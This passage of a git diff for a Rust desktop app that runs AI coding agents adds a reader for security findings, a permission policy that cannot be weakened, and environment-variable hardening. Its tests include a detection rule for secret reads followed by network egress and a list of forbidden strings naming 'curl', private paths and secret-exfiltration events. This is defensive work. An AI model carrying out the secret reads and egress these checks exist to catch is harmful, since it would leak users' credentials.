projection_excludes_sensitive_source_fields() { + let projected = project_finding( + finding_json(serde_json::json!({})).as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .expect("finding"); + let serialized = serde_json::to_string(&projected).expect("serialize projection"); + + assert_eq!(projected.severity, "high"); + assert_eq!(projected.evidence_count, 2); + assert_eq!(projected.source_agent, TEST_AGENT); + assert_eq!(projected.channel_id.as_deref(), Some("channel-safe-01")); + assert_eq!(projected.turn_id.as_deref(), Some("turn-safe-01")); + for forbidden in [ + "observed_command", + "curl", + "sensitive-host", + "sensitive-user", + "sensitive-project", + "/private/", + "event-sensitive-secret-read-id", + "event-sensitive-egress-id", + ] { + assert!( + !serialized.contains(forbidden), + "projection leaked {forbidden}" + ); + } + } + + #[test] + fn invalid_schema_severity_and_control_text_are_rejected() { + assert!(project_finding( + finding_json(serde_json::json!({"schema_version": "9.9.9"})).as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .is_none()); + assert!(project_finding( + finding_json(serde_json::json!({"severity": "emergency"})).as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .is_none()); + let sensitive_title = project_finding( + finding_json(serde_json::json!({ + "title": "Leaked /private/key with token super-secret" + })) + .as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .expect("finding with untrusted source title"); + assert_eq!(sensitive_title.title, "Possible secret exfiltration"); + } + + #[test] + fn validates_agent_pubkey_before_path_construction() { + assert!(validate_agent_pubkey(&"a".repeat(64)).is_ok()); + assert!(validate_agent_pubkey("../../records").is_err()); + assert!(validate_agent_pubkey(&"g".repeat(64)).is_err()); + } + + #[test] + fn runtime_label_is_not_treated_as_managed_agent_identity() { + let projected = project_finding( + finding_json(serde_json::json!({"source_agent": "claude-code"})).as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .expect("finding from agent-scoped file"); + + assert_eq!(projected.source_agent, TEST_AGENT); + } + + #[test] + fn reads_only_complete_records_and_advances_cursor() { + let dir = tempfile::tempdir().expect("tempdir"); + let path = dir.path().join("findings.ndjson"); + let first = finding_json(serde_json::json!({"finding_id": "fnd-first"})); + let second = finding_json(serde_json::json!({"finding_id": "fnd-second"})); + { + let mut file = File::create(&path).expect("create"); + writeln!(file, "{first}").expect("write first"); + write!(file, "{second}").expect("write partial second"); + } + + let first_batch = read_numbat_findings_from_path( + &path, + 0, + Some(( + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + )), + test_health(), + ) + .expect("first batch"); + assert_eq!(first_batch.findings.len(), 1); + assert_eq!(first_batch.findings[0].finding_id, "fnd-first"); + + { + let mut file = std::fs::OpenOptions::new() + .append(true) + .open(&path) + .expect("append"); + writeln!(file).expect("complete second"); + } + let second_batch = read_numbat_findings_from_path( + &path, + first_batch.next_offset, + Some(( + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + )), + test_health(), + ) + .expect("second batch"); + assert_eq!(second_batch.findings.len(), 1); + assert_eq!(second_batch.findings[0].finding_id, "fnd-second"); + } + + #[test] + fn truncation_resets_a_stale_cursor() { + let dir = tempfile::tempdir().expect("tempdir"); + let path = dir.path().join("findings.ndjson"); + std::fs::write(&path, format!("{}\n", finding_json(serde_json::json!({})))).expect("write"); + + let batch = read_numbat_findings_from_path( + &path, + u64::MAX, + Some(( + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + )), + test_health(), + ) + .expect("batch"); + assert!(batch.reset); + assert_eq!(batch.findings.len(), 1); + } + + #[test] + fn continuous_retention_keeps_complete_recent_records() { + let dir = tempfile::tempdir().expect("tempdir"); + let path = dir.path().join("findings.ndjson"); + let padding = format!("{{\"padding\":\"{}\"}}\n", "x".repeat(1024)); + let mut file = File::create(&path).expect("create"); + while file.stream_position().expect("position") <= MAX_LOCAL_RECORD_BYTES { + file.write_all(padding.as_bytes()).expect("write padding"); + } + let newest = finding_json(serde_json::json!({"finding_id": "fnd-newest"})); + writeln!(file, "{newest}").expect("write newest"); + file.sync_all().expect("sync"); + drop(file); + + assert!(enforce_continuous_retention(&path).expect("retain")); + let retained = std::fs::read(&path).expect("read retained"); + let previous = std::fs::read(previous_findings_path(&path)).expect("read prior"); + assert!(retained.len() as u64 <= MAX_BACKLOG_BYTES + MAX_LINE_BYTES as u64); + assert!(retained.ends_with(format!("{newest}\n").as_bytes())); + assert!(previous.ends_with(format!("{newest}\n").as_bytes())); + assert!(!retained.starts_with(b"x")); + assert!(!enforce_continuous_retention(&path).expect("already bounded")); + } + + #[test] + fn cursor_resets_when_retention_replaces_the_file_generation() { + let cursor = encode_cursor(41, 12_345).expect("cursor"); + assert_eq!(decode_cursor(cursor, 41), (12_345, false)); + assert_eq!(decode_cursor(cursor, 42), (0, true)); + assert_eq!(decode_cursor(0, 42), (0, false)); + assert!(encode_cursor(1, CURSOR_OFFSET_MASK + 1).is_err()); + assert!(cursor <= (1_u64 << 53) - 1, "cursor must be exact in JS"); + } + + #[test] + fn projects_owner_observer_context_only_after_exact_session_match() { + let projected = project_finding( + finding_json(serde_json::json!({})).as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .expect("matching context"); + assert_eq!(projected.channel_id.as_deref(), Some("channel-safe-01")); + assert_eq!(projected.turn_id.as_deref(), Some("turn-safe-01")); + + assert!(project_finding( + finding_json(serde_json::json!({})).as_bytes(), + TEST_AGENT, + "another-session", + "channel-safe-01", + "turn-safe-01", + ) + .is_none()); + assert!(project_finding( + finding_json(serde_json::json!({"source_agent": "bad source"})).as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .is_none()); + } +} diff --git a/desktop/src-tauri/src/commands/numbat_findings/lifecycle_tests.rs b/desktop/src-tauri/src/commands/numbat_findings/lifecycle_tests.rs new file mode 100644 index 0000000000..4ba3b0027c --- /dev/null +++ b/desktop/src-tauri/src/commands/numbat_findings/lifecycle_tests.rs @@ -0,0 +1,85 @@ +use std::{fs::File, io::Write as _}; + +use super::*; + +const TEST_AGENT: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; + +fn finding_json(finding_id: &str) -> String { + serde_json::json!({ + "schema_version": "0.2.0", + "record_type": "finding", + "finding_id": finding_id, + "rule_id": "chain.secret_read_then_egress", + "title": "Secret access followed by network egress", + "severity": "high", + "detected_at": "2026-07-30T14:40:00Z", + "source_agent": "codex", + "session_id": "session-safe-01", + "cited_event_ids": ["event-one", "event-two"] + }) + .to_string() +} + +fn test_health() -> NumbatGuardianHealth { + NumbatGuardianHealth { + state: "configured".into(), + detail: "test".into(), + } +} + +#[test] +fn retention_reader_preserves_a_record_appended_to_the_previous_generation() { + let dir = tempfile::tempdir().expect("tempdir"); + let path = dir.path().join("findings.ndjson"); + let padding = format!("{{\"padding\":\"{}\"}}\n", "x".repeat(1024)); + let mut file = File::create(&path).expect("create"); + while file.stream_position().expect("position") <= MAX_LOCAL_RECORD_BYTES { + file.write_all(padding.as_bytes()).expect("write padding"); + } + file.sync_all().expect("sync"); + drop(file); + + assert!(enforce_continuous_retention(&path).expect("retain")); + let late = finding_json("fnd-late-previous"); + { + let mut previous = OpenOptions::new() + .append(true) + .open(previous_findings_path(&path)) + .expect("open previous generation"); + writeln!(previous, "{late}").expect("append late record"); + } + + let findings = read_previous_findings_tail( + &path, + Some(( + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + )), + test_health(), + ) + .expect("read previous generation"); + assert!(findings + .iter() + .any(|finding| finding.finding_id == "fnd-late-previous")); + assert!(!std::fs::read_to_string(&path) + .expect("read current generation") + .contains("fnd-late-previous")); +} + +#[test] +fn activation_requires_a_valid_record_after_configuration_baseline() { + let agent = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"; + record_verification_baseline(agent, 7, 500); + assert!(!is_post_configuration_finding(agent, 7, 500, true)); + assert!(is_post_configuration_finding(agent, 7, 501, true)); + assert!(!is_post_configuration_finding(agent, 7, 600, false)); + assert!(!is_post_configuration_finding(agent, 8, 100, true)); + assert!(is_post_configuration_finding(agent, 8, 101, true)); + + let unseen_agent = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; + assert!(!is_post_configuration_finding(unseen_agent, 11, 900, true)); + assert!(!is_post_configuration_finding(unseen_agent, 11, 900, true)); + assert!(is_post_configuration_finding(unseen_agent, 11, 901, true)); +} diff --git a/desktop/src-tauri/src/lib.rs b/desktop/src-tauri/src/lib.rs index c4b733e3e0..09c3c74180 100644 --- a/desktop/src-tauri/src/lib.rs +++ b/desktop/src-tauri/src/lib.rs @@ -88,9 +88,7 @@ fn reveal_initial_window(window: &tauri::Window) { #[cfg(target_os = "macos")] fn set_initial_window_backing(window: &tauri::Window) { - // The window remains transparent at runtime for vibrancy. Use an opaque - // native backing only across the first visible frames so the previous app - // cannot show through before WebKit has submitted its first surface. + // Use opaque native backing only for the first frames so the previous app cannot show through. if let Err(error) = window.set_background_color(Some(tauri::window::Color(17, 21, 24, 255))) { eprintln!("buzz-desktop: failed to set initial window backing: {error}"); } @@ -735,6 +733,7 @@ pub fn run() { sign_out, decrypt_observer_event, build_observer_control_event, + read_numbat_findings, create_auth_event, nip44_encrypt_to_self, nip44_decrypt_from_self, diff --git a/desktop/src-tauri/src/managed_agents/env_vars.rs b/desktop/src-tauri/src/managed_agents/env_vars.rs index 1653371e7f..6dc6c72dd4 100644 --- a/desktop/src-tauri/src/managed_agents/env_vars.rs +++ b/desktop/src-tauri/src/managed_agents/env_vars.rs @@ -63,6 +63,7 @@ pub(crate) const RESERVED_ENV_KEYS: &[&str] = &[ "BUZZ_API_TOKEN", "BUZZ_ACP_PRIVATE_KEY", "BUZZ_ACP_API_TOKEN", + "BUZZ_MANAGED_AGENT_PUBKEY", // Relay URL: overriding would let a malicious config redirect the // agent to an attacker-controlled relay. "BUZZ_RELAY_URL", @@ -71,6 +72,8 @@ pub(crate) const RESERVED_ENV_KEYS: &[&str] = &[ "BUZZ_ACP_AGENT_COMMAND", "BUZZ_ACP_AGENT_ARGS", "BUZZ_ACP_MCP_COMMAND", + "BUZZ_ACP_BROWSER_MCP_COMMAND", + "BUZZ_ACP_BROWSER_MCP_ARGS", // Security gates: respond-to mode + allowlist + legacy owner-only // fallback. Overriding would make the running agent's gate diverge // from the saved/UI-visible settings. diff --git a/desktop/src-tauri/src/managed_agents/readiness.rs b/desktop/src-tauri/src/managed_agents/readiness.rs index fa8eb36fa1..54a88d94b7 100644 --- a/desktop/src-tauri/src/managed_agents/readiness.rs +++ b/desktop/src-tauri/src/managed_agents/readiness.rs @@ -47,12 +47,15 @@ use crate::managed_agents::{ discovery::{known_acp_runtime, KnownAcpRuntime}, env_vars::merged_user_env, global_config::GlobalAgentConfig, - normalize_agent_args, types::{AcpAvailabilityStatus, AgentDefinition, ManagedAgentRecord}, }; mod cli_login; pub(crate) mod cli_probe; +mod effective_harness; +pub(crate) use effective_harness::{ + resolve_effective_harness_descriptor, EffectiveHarnessDescriptor, GuardianPermissionPolicy, +}; // ── EffectiveAgentEnv ───────────────────────────────────────────────────────── @@ -78,101 +81,6 @@ pub(crate) struct EffectiveAgentEnv { pub effective_command: String, } -// ── Typed effective-harness descriptor ─────────────────────────────────────── -// -// A single owned type that fully describes what a spawn would run. Produced -// by `resolve_effective_harness_descriptor` and consumed by spawn_agent_child, -// spawn_config_hash, build_managed_agent_summary, get_agent_models, and -// agent_readiness — so the harness-definition lookup and arg/env resolution -// happen exactly once, in one place. - -/// The complete effective description of a harness spawn: resolved command, -/// args, and layered env. This is the single source of truth for what will -/// actually run — computed once and shared across every consumer that needs -/// the effective values. -#[derive(Debug, Clone)] -pub(crate) struct EffectiveHarnessDescriptor { - /// The raw effective command string (e.g. `"buzz-agent"`, `"my-acp-agent"`). - /// Used for `known_acp_runtime` lookup and hashing. - pub command: String, - /// Normalized effective args. Instance args win when non-empty; otherwise - /// the harness definition's args apply. - pub args: Vec, - /// The full layered process env: baked floor → runtime metadata → definition - /// env → global → persona → agent. - pub env: BTreeMap, -} - -/// Resolve the complete harness descriptor from a record + context — the single -/// authoritative path for command, args, and env. -/// -/// This is the only place where harness-definition lookup and arg/env layering -/// happen; spawn, hash, summary, and both model-probe paths all consume this. -/// -/// Returns `Err("DANGLING_HARNESS_ID:")` when the record (or its linked -/// persona) references a runtime id that no longer exists in the registry — -/// the same typed error produced by `try_record_agent_command`. Callers that -/// cannot meaningfully continue with a dangling id (e.g. `spawn_agent_child`) -/// propagate the error; callers that degrade gracefully may use -/// `.unwrap_or_else(|_| …)`. -/// -/// Does NOT require an `AppHandle` so it is fully unit-testable. -/// -/// # Arguments -/// * `record` — the managed agent record -/// * `personas` — all current personas (for command/env resolution) -/// * `global` — global agent config defaults -pub(crate) fn resolve_effective_harness_descriptor( - record: &ManagedAgentRecord, - personas: &[crate::managed_agents::types::AgentDefinition], - global: &crate::managed_agents::GlobalAgentConfig, -) -> Result { - let effective_command = crate::managed_agents::try_record_agent_command(record, personas)?; - let runtime_meta = known_acp_runtime(&effective_command); - - // Look up the harness definition once — used for both args and env. - // Resolution order: record.runtime → persona.runtime → "". - let harness_def = { - let runtime_id = record - .runtime - .as_deref() - .or_else(|| { - record.persona_id.as_deref().and_then(|pid| { - personas - .iter() - .find(|p| p.id == pid) - .and_then(|p| p.runtime.as_deref()) - }) - }) - .unwrap_or(""); - crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(runtime_id) - }; - - // Args: explicit non-empty instance args win; otherwise use definition args. - let args = { - let record_args = record.agent_args.clone(); - let instance_has_args = record_args.iter().any(|a| !a.trim().is_empty()); - if instance_has_args { - normalize_agent_args(&effective_command, record_args) - } else if let Some(ref def) = harness_def { - normalize_agent_args(&effective_command, def.args.clone()) - } else { - normalize_agent_args(&effective_command, record_args) - } - }; - - // Env: full layered resolution (same as resolve_effective_agent_env). - // Pass harness_def directly to avoid a second lookup. - let effective_env = - resolve_effective_agent_env_with_def(record, personas, runtime_meta, global, harness_def); - - Ok(EffectiveHarnessDescriptor { - command: effective_command, - args, - env: effective_env.env, - }) -} - /// Assemble the effective agent env from a record, personas, optional /// known-runtime metadata, and the global agent config defaults — without an /// `AppHandle` so it is fully unit-testable. diff --git a/desktop/src-tauri/src/managed_agents/readiness/effective_harness.rs b/desktop/src-tauri/src/managed_agents/readiness/effective_harness.rs new file mode 100644 index 0000000000..dac8cd4200 --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/readiness/effective_harness.rs @@ -0,0 +1,153 @@ +use std::collections::BTreeMap; + +use crate::managed_agents::{ + discovery::known_acp_runtime, normalize_agent_args, types::ManagedAgentRecord, +}; + +use super::resolve_effective_agent_env_with_def; + +/// The complete effective description of a harness spawn. +#[derive(Debug, Clone)] +pub(crate) struct EffectiveHarnessDescriptor { + pub command: String, + pub args: Vec, + pub env: BTreeMap, + /// Resolved separately so generic environment layering cannot weaken it. + pub guardian_policy: GuardianPermissionPolicy, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub(crate) enum GuardianPermissionPolicy { + Monitor, + Lockdown, +} + +impl GuardianPermissionPolicy { + pub(crate) fn as_env_value(self) -> &'static str { + match self { + Self::Monitor => "default", + Self::Lockdown => "dont-ask", + } + } +} + +fn resolve_guardian_policy<'a>( + layers: impl IntoIterator>, +) -> GuardianPermissionPolicy { + let lockdown_selected = layers.into_iter().any(|env| { + env.iter().any(|(key, value)| { + key.eq_ignore_ascii_case("BUZZ_ACP_PERMISSION_MODE") + && matches!( + value.trim().to_ascii_lowercase().as_str(), + "dont-ask" | "dontask" | "plan" + ) + }) + }); + if lockdown_selected { + GuardianPermissionPolicy::Lockdown + } else { + GuardianPermissionPolicy::Monitor + } +} + +/// Resolve command, arguments, generic environment, and authoritative policy. +pub(crate) fn resolve_effective_harness_descriptor( + record: &ManagedAgentRecord, + personas: &[crate::managed_agents::types::AgentDefinition], + global: &crate::managed_agents::GlobalAgentConfig, +) -> Result { + let effective_command = crate::managed_agents::try_record_agent_command(record, personas)?; + let runtime_meta = known_acp_runtime(&effective_command); + let harness_def = { + let runtime_id = record + .runtime + .as_deref() + .or_else(|| { + record.persona_id.as_deref().and_then(|pid| { + personas + .iter() + .find(|p| p.id == pid) + .and_then(|p| p.runtime.as_deref()) + }) + }) + .unwrap_or(""); + crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(runtime_id) + }; + let args = { + let record_args = record.agent_args.clone(); + let instance_has_args = record_args.iter().any(|arg| !arg.trim().is_empty()); + if instance_has_args { + normalize_agent_args(&effective_command, record_args) + } else if let Some(ref definition) = harness_def { + normalize_agent_args(&effective_command, definition.args.clone()) + } else { + normalize_agent_args(&effective_command, record_args) + } + }; + let live_persona = record + .persona_id + .as_deref() + .and_then(|id| personas.iter().find(|persona| persona.id == id)); + let guardian_policy = resolve_guardian_policy( + harness_def + .iter() + .map(|definition| &definition.env) + .chain(std::iter::once(&global.env_vars)) + .chain(live_persona.map(|persona| &persona.env_vars)) + .chain(std::iter::once(&record.env_vars)), + ); + let mut effective_env = + resolve_effective_agent_env_with_def(record, personas, runtime_meta, global, harness_def); + effective_env + .env + .retain(|key, _| !key.eq_ignore_ascii_case("BUZZ_ACP_PERMISSION_MODE")); + + Ok(EffectiveHarnessDescriptor { + command: effective_command, + args, + env: effective_env.env, + guardian_policy, + }) +} + +#[cfg(test)] +mod tests { + use super::{resolve_guardian_policy, GuardianPermissionPolicy}; + use std::collections::BTreeMap; + + fn layer(value: &str) -> BTreeMap { + BTreeMap::from([("BUZZ_ACP_PERMISSION_MODE".to_string(), value.to_string())]) + } + + #[test] + fn lower_layers_cannot_weaken_lockdown() { + for lockdown_index in 0..4 { + let mut layers = vec![layer("bypass-permissions"); 4]; + layers[lockdown_index] = layer("dont-ask"); + assert_eq!( + resolve_guardian_policy(layers.iter()), + GuardianPermissionPolicy::Lockdown, + "lockdown layer {lockdown_index} was weakened" + ); + } + } + + #[test] + fn absent_or_permissive_legacy_values_resolve_to_monitor() { + let empty = BTreeMap::new(); + let permissive = layer("accept-edits"); + assert_eq!( + resolve_guardian_policy([&empty, &permissive]), + GuardianPermissionPolicy::Monitor + ); + } + + #[test] + fn policy_key_matching_is_case_insensitive() { + let env = BTreeMap::from([("buzz_acp_permission_mode".to_string(), "PLAN".to_string())]); + assert_eq!( + resolve_guardian_policy([&env]), + GuardianPermissionPolicy::Lockdown + ); + } +} diff --git a/desktop/src-tauri/src/managed_agents/runtime.rs b/desktop/src-tauri/src/managed_agents/runtime.rs index 37927961ed..50e2f2680b 100644 --- a/desktop/src-tauri/src/managed_agents/runtime.rs +++ b/desktop/src-tauri/src/managed_agents/runtime.rs @@ -8,8 +8,8 @@ use crate::{ managed_agents::{ append_log_marker, known_acp_runtime, login_shell_path, managed_agent_log_path, missing_command_message, normalize_agent_args, open_log_file, resolve_command, - spawn_key_refusal, KnownAcpRuntime, ManagedAgentPairRuntime, ManagedAgentRecord, - ManagedAgentRuntimeKey, ManagedAgentSummary, + spawn_key_refusal, ManagedAgentPairRuntime, ManagedAgentRecord, ManagedAgentRuntimeKey, + ManagedAgentSummary, }, util::now_iso, }; @@ -33,7 +33,8 @@ pub use stop::{stop_managed_agent_process, stop_managed_agent_workspace_pair}; mod sweep; pub(crate) use sweep::sweep_untracked_bundle_harnesses; -type RespondToEnv = (Vec<(&'static str, String)>, Vec<&'static str>); +mod env_config; +pub(crate) use env_config::{build_respond_to_env, configure_runtime_cli}; mod process; #[cfg(test)] @@ -290,6 +291,7 @@ pub fn build_managed_agent_summary( command: cmd, args, env: Default::default(), + guardian_policy: crate::managed_agents::readiness::GuardianPermissionPolicy::Monitor, } }); let effective_mcp_command = known_acp_runtime(&descriptor.command) @@ -364,87 +366,6 @@ pub fn find_managed_agent_mut<'a>( .ok_or_else(|| format!("agent {pubkey} not found")) } -/// Pure decision function for the inbound author gate env vars. -/// -/// Returns the env vars to **set** and the env vars to **remove**. Removal is -/// belt-and-suspenders: an inherited parent env var must not leak into a -/// child agent and silently change its security posture. -/// -/// The `owner_hex` argument is the current workspace owner pubkey. It's used -/// as a fallback for legacy records (`auth_tag.is_none()`) — without it, the -/// harness's owner cache stays empty and `owner-only` / `allowlist` modes -/// drop everything. -/// -/// Returns `Err(...)` if the record's allowlist fails validation. The harness -/// validates too, but doing it here means we never spawn a doomed process. -pub(crate) fn build_respond_to_env( - record: &ManagedAgentRecord, - owner_hex: Option<&str>, -) -> Result { - // Defensive re-validation: an on-disk record could have been hand-edited. - let normalized = super::types::validate_respond_to_allowlist(&record.respond_to_allowlist)?; - if record.respond_to == super::types::RespondTo::Allowlist && normalized.is_empty() { - return Err( - "respond-to mode 'allowlist' requires at least one pubkey in the allowlist".to_string(), - ); - } - - let mut set: Vec<(&'static str, String)> = Vec::new(); - let mut remove: Vec<&'static str> = Vec::new(); - - set.push(( - "BUZZ_ACP_RESPOND_TO", - record.respond_to.as_str().to_string(), - )); - - if record.respond_to == super::types::RespondTo::Allowlist { - set.push(("BUZZ_ACP_RESPOND_TO_ALLOWLIST", normalized.join(","))); - } else { - remove.push("BUZZ_ACP_RESPOND_TO_ALLOWLIST"); - } - - // Legacy fallback: agents created before NIP-OA lack `auth_tag`. Without - // it the harness can't resolve the owner, and owner-dependent gate modes - // would drop every event. Forwarding the workspace owner pubkey via - // BUZZ_ACP_AGENT_OWNER keeps those records functional. Modern records - // (`auth_tag = Some(...)`) use `BUZZ_AUTH_TAG` as before. - if record.auth_tag.is_none() { - if let Some(owner) = owner_hex { - set.push(("BUZZ_ACP_AGENT_OWNER", owner.to_string())); - } else { - remove.push("BUZZ_ACP_AGENT_OWNER"); - } - } else { - remove.push("BUZZ_ACP_AGENT_OWNER"); - } - - Ok((set, remove)) -} - -pub(crate) fn configure_runtime_cli( - command: &mut std::process::Command, - runtime: Option<&KnownAcpRuntime>, -) { - let Some(runtime) = runtime else { - return; - }; - if runtime.id != "claude" { - return; - } - if let Some(cli_path) = runtime.underlying_cli.and_then(resolve_command) { - // On Windows, `.cmd` and `.bat` files are batch shims — they cannot be - // passed directly to `CreateProcess` and cause EINVAL when the Claude - // adapter tries to spawn them (issue #2397). Skip setting - // `CLAUDE_CODE_EXECUTABLE` for shim paths so the adapter falls back to - // its own PATH lookup and finds the real binary instead. - // Non-Windows: `.cmd`/`.bat` are valid executables and must be assigned. - if should_skip_claude_executable(&cli_path, cfg!(windows)) { - return; - } - command.env("CLAUDE_CODE_EXECUTABLE", cli_path); - } -} - /// Spawn an agent process without holding any locks on records or runtimes. /// Returns the child process and log path on success. The caller is responsible /// for updating `ManagedAgentRecord` fields and inserting into the runtimes map. @@ -578,6 +499,7 @@ pub fn spawn_agent_child( } command.env("RUST_LOG", child_rust_log_filter()); command.env("BUZZ_PRIVATE_KEY", &record.private_key_nsec); + command.env("BUZZ_MANAGED_AGENT_PUBKEY", &record.pubkey); command.env("BUZZ_RELAY_URL", &effective_relay_url); command.env("BUZZ_ACP_LAZY_POOL", if lazy { "true" } else { "false" }); command.env("BUZZ_ACP_AGENT_COMMAND", &resolved_agent_command); @@ -590,9 +512,35 @@ pub fn spawn_agent_child( command.env("BUZZ_ACP_MCP_COMMAND", ""); } } + // Codex's Chrome extension broker is owned by the Codex host and is not + // exposed through ACP. Give Buzz-managed Codex sessions an independent, + // isolated browser boundary via the official Playwright MCP server instead. + // Pin the package version so agent startup cannot silently change behavior. + if known_acp_runtime(effective_command).is_some_and(|runtime| runtime.id == "codex") { + if let Some(npx) = resolve_command("npx") { + command.env("BUZZ_ACP_BROWSER_MCP_COMMAND", npx); + command.env( + "BUZZ_ACP_BROWSER_MCP_ARGS", + r#"["--yes","@playwright/mcp@0.0.78","--browser","chrome","--isolated"]"#, + ); + } else { + command.env("BUZZ_ACP_BROWSER_MCP_COMMAND", ""); + command.env("BUZZ_ACP_BROWSER_MCP_ARGS", "[]"); + } + } else { + command.env("BUZZ_ACP_BROWSER_MCP_COMMAND", ""); + command.env("BUZZ_ACP_BROWSER_MCP_ARGS", "[]"); + } // Enable MCP hook tools (_Stop, _PostCompact) for agents that need them. // Uses "*" because build_mcp_servers() hard-codes the server name to "buzz-mcp". let runtime_meta = known_acp_runtime(effective_command); + if let Some(runtime) = runtime_meta { + crate::commands::numbat_findings::prepare_numbat_monitoring_async( + app.clone(), + runtime.id.to_string(), + record.pubkey.clone(), + ); + } if runtime_meta.is_some_and(|r| r.mcp_hooks) { command.env("MCP_HOOK_SERVERS", "*"); } @@ -857,9 +805,16 @@ pub fn spawn_agent_child( // applied. Writing it last lets user-provided values win over every Buzz-set env // written above — reserved keys were already stripped from descriptor.env so they // cannot clobber BUZZ_PRIVATE_KEY, NOSTR_PRIVATE_KEY, etc. + // Managed agents are monitor-first, while the layered descriptor may + // explicitly select lockdown. Resolve it at the spawn boundary so an + // absent setting never inherits an unsafe ambient parent value. for (key, value) in &descriptor.env { command.env(key, value); } + // Guardian policy is a security boundary. Stamp the resolved value after + // the general environment so ambient or layered data cannot overwrite it + // at the process boundary. + apply_guardian_permission_env(&mut command, descriptor.guardian_policy); configure_runtime_cli(&mut command, runtime_meta); // Buzz shared compute is stored as a native provider; derive the OpenAI-compatible @@ -958,6 +913,13 @@ pub fn spawn_agent_child( }) } +fn apply_guardian_permission_env( + command: &mut std::process::Command, + policy: crate::managed_agents::readiness::GuardianPermissionPolicy, +) { + command.env("BUZZ_ACP_PERMISSION_MODE", policy.as_env_value()); +} + fn child_rust_log_filter() -> String { match std::env::var("RUST_LOG") { Ok(existing) if existing.contains("buzz_acp") => existing, @@ -1023,5 +985,8 @@ pub fn start_managed_agent_process( Ok(()) } +#[cfg(test)] +mod guardian_policy_tests; + #[cfg(test)] mod tests; diff --git a/desktop/src-tauri/src/managed_agents/runtime/env_config.rs b/desktop/src-tauri/src/managed_agents/runtime/env_config.rs new file mode 100644 index 0000000000..27e1a21db1 --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/runtime/env_config.rs @@ -0,0 +1,85 @@ +use std::process::Command; + +use crate::managed_agents::{resolve_command, KnownAcpRuntime, ManagedAgentRecord}; + +type RespondToEnv = (Vec<(&'static str, String)>, Vec<&'static str>); + +/// Pure decision function for the inbound author gate env vars. +/// +/// Returns the env vars to **set** and the env vars to **remove**. Removal is +/// belt-and-suspenders: an inherited parent env var must not leak into a +/// child agent and silently change its security posture. +/// +/// The `owner_hex` argument is the current workspace owner pubkey. It's used +/// as a fallback for legacy records (`auth_tag.is_none()`) — without it, the +/// harness's owner cache stays empty and `owner-only` / `allowlist` modes +/// drop everything. +/// +/// Returns `Err(...)` if the record's allowlist fails validation. The harness +/// validates too, but doing it here means we never spawn a doomed process. +pub(crate) fn build_respond_to_env( + record: &ManagedAgentRecord, + owner_hex: Option<&str>, +) -> Result { + let normalized = + crate::managed_agents::types::validate_respond_to_allowlist(&record.respond_to_allowlist)?; + if record.respond_to == crate::managed_agents::types::RespondTo::Allowlist + && normalized.is_empty() + { + return Err( + "respond-to mode 'allowlist' requires at least one pubkey in the allowlist".to_string(), + ); + } + + let mut set: Vec<(&'static str, String)> = Vec::new(); + let mut remove: Vec<&'static str> = Vec::new(); + + set.push(( + "BUZZ_ACP_RESPOND_TO", + record.respond_to.as_str().to_string(), + )); + + if record.respond_to == crate::managed_agents::types::RespondTo::Allowlist { + set.push(("BUZZ_ACP_RESPOND_TO_ALLOWLIST", normalized.join(","))); + } else { + remove.push("BUZZ_ACP_RESPOND_TO_ALLOWLIST"); + } + + // Legacy fallback: agents created before NIP-OA lack `auth_tag`. Without + // it the harness can't resolve the owner, and owner-dependent gate modes + // would drop every event. Forwarding the workspace owner pubkey via + // BUZZ_ACP_AGENT_OWNER keeps those records functional. Modern records + // (`auth_tag = Some(...)`) use `BUZZ_AUTH_TAG` as before. + if record.auth_tag.is_none() { + if let Some(owner) = owner_hex { + set.push(("BUZZ_ACP_AGENT_OWNER", owner.to_string())); + } else { + remove.push("BUZZ_ACP_AGENT_OWNER"); + } + } else { + remove.push("BUZZ_ACP_AGENT_OWNER"); + } + + Ok((set, remove)) +} + +pub(crate) fn configure_runtime_cli(command: &mut Command, runtime: Option<&KnownAcpRuntime>) { + let Some(runtime) = runtime else { + return; + }; + if runtime.id != "claude" { + return; + } + if let Some(cli_path) = runtime.underlying_cli.and_then(resolve_command) { + // On Windows, `.cmd` and `.bat` files are batch shims — they cannot be + // passed directly to `CreateProcess` and cause EINVAL when the Claude + // adapter tries to spawn them (issue #2397). Skip setting + // `CLAUDE_CODE_EXECUTABLE` for shim paths so the adapter falls back to + // its own PATH lookup and finds the real binary instead. + // Non-Windows: `.cmd`/`.bat` are valid executables and must be assigned. + if super::should_skip_claude_executable(&cli_path, cfg!(windows)) { + return; + } + command.env("CLAUDE_CODE_EXECUTABLE", cli_path); + } +} diff --git a/desktop/src-tauri/src/managed_agents/runtime/guardian_policy_tests.rs b/desktop/src-tauri/src/managed_agents/runtime/guardian_policy_tests.rs new file mode 100644 index 0000000000..5fe755085c --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/runtime/guardian_policy_tests.rs @@ -0,0 +1,51 @@ +#[test] +fn defaults_managed_agents_to_monitor() { + assert_eq!( + crate::managed_agents::readiness::GuardianPermissionPolicy::Monitor.as_env_value(), + "default", + ); +} + +#[test] +fn preserves_explicit_lockdown() { + assert_eq!( + crate::managed_agents::readiness::GuardianPermissionPolicy::Lockdown.as_env_value(), + 